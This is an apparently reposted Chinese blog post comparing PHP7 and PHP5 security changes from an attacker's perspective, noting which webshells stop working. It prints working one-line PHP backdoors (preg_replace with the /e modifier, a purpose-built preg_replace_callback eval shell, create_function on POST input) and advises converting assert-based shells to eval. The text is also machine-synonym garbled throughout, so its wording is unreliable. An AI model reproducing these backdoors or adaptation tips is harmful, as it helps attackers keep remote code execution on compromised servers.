PHP7和PHP5在安详上的区别

媒介

之前测试的时辰发明许多菜刀的马都不能用了，大马也险些3/4不能正常在php7运行。网上百度也没有找到太多相干性的文章，就本身总结测试了一下关于安详性上的区别。

函数修改

1. preg_replace()不再支持/e修饰符

<?php 
preg_replace("/.*/e",$_GET["h"],".");  
?> 

操作e修饰符执行代码的后门各人也用了不少了，详细看官方的这段描写:

很不幸，在PHP7以上版本不在支持e修饰符，，同时官方给了我们一个新的函数preg_replace_callback：

这里我们轻微窜改一下就可以操作它当我们的后门：

<?php 
preg_replace_callback("/.*/",function ($a){@eval($a[0]);},$_GET["h"]); 
?> 

2. create_function()被废弃

<?php 
$func =create_function('',$_POST['cmd']);$func(); 
?> 

少了一种可以操作当后门的函数，现实上它是通过执行eval实现的。无关紧要。

3. mysql_*系列全员移除

假如你要在PHP7上面用老版本的mysql_*系列函数必要你本身去特殊装了，官方不在自带，此刻官方保举的是mysqli可能pdo_mysql。这是否预示着将来SQL注入裂痕在PHP上的大幅镌汰呢~

去特么的预示，我已经好久没在方针站上挖到过sql注入了，全都是预编译!

4. unserialize()增进一个可选白名单参数

$data = unserialize($serializedObj1 , ["allowed_classes" => true]); 
$data2 = unserialize($serializedObj2 , ["allowed_classes" => ["MyClass1", "MyClass2"]]);  

着实就是一个白名单，假如反序列数据内里的类名不在这个白名单内，就会报错。

像这样的报错!

可所以类名也可所以布尔数据，假如是FALSE就会将全部的工具都转换为__PHP_Incomplete_Class工具。TRUE是无穷制。也可以传入类名实现白名单。

妈的，还好此刻是可选不是必选，要是默认FALSE逼措施员弄白名单那就真的吐血了。

5. assert()默认不在可以执行代码

这就是浩瀚马不能用的祸首罪魁了，太多的马用assert()来执行代码了，这个更新根基就团灭，一样平常环境下修改成eval即可正常运行了~

提一下，菜刀在实现文件打点器的时辰用的刚好也是assert函数，这导致菜刀没步伐在PHP7上正常运行。

语法修改

1. foreach不再改变内部数组指针

<?php 
$a = array('1','2','3'); 
foreach ($a as $k=>&$n){ 
    echo ""; 
} 
print_r($a); 
foreach ($a as $k=>$n){ 
    echo ""; 
 
} 
print_r($a); 

这样的代码在php5中，是这样的执行功效：

由于数组最后一个元素的 $value 引用在 foreach 轮回之后仍会保存，在第二个轮回的时辰现实上是对之前的指针不绝的赋值。php7中通过值遍历时，操纵的值为数组的副本，不在对后续操纵举办影响。

这个窜改影响了某些cms的洞在PHP7上无法操作了….你知道我指的是哪个洞的。

这个题目在PHP7.0.0往后的版本又被改归去了，只影响这一个版本。

2. 8进制字符容错率低落

在php5版本，假如一个八进制字符假如含有无效数字，该无效数字将被静默删节。

<?php 
echo octdec( '012999999999999' ) . "n"; 
echo octdec( '012' ) . "n"; 
if (octdec( '012999999999999' )==octdec( '012' )){ 
        echo ": )". "n"; 
} 

好比这样的代码在php5中的执行功效如下：

可是在php7内里会触发一个理会错误。

这个题目同样在PHP7.0.0往后的版本又被改归去了，只影响这一个版本。

3. 十六进制字符串不再被以为是数字

这个修改一出，往后CTF套路会少许多啊~

许多骚操纵都不能用了~

这个没什么好说的，各人都懂。

<?php 
var_dump("0x123" == "291"); 
var_dump(is_numeric("0x123")); 
var_dump("0xe" + "0x1"); 
var_dump(substr("foo", "0x1")); 
?> 

（编辑：河北网）

【声明】本站内容均来自网络，其相关言论仅代表作者个人观点，不代表本站立场。若无意侵犯到您的权利，请及时与联系站长删除相关内容!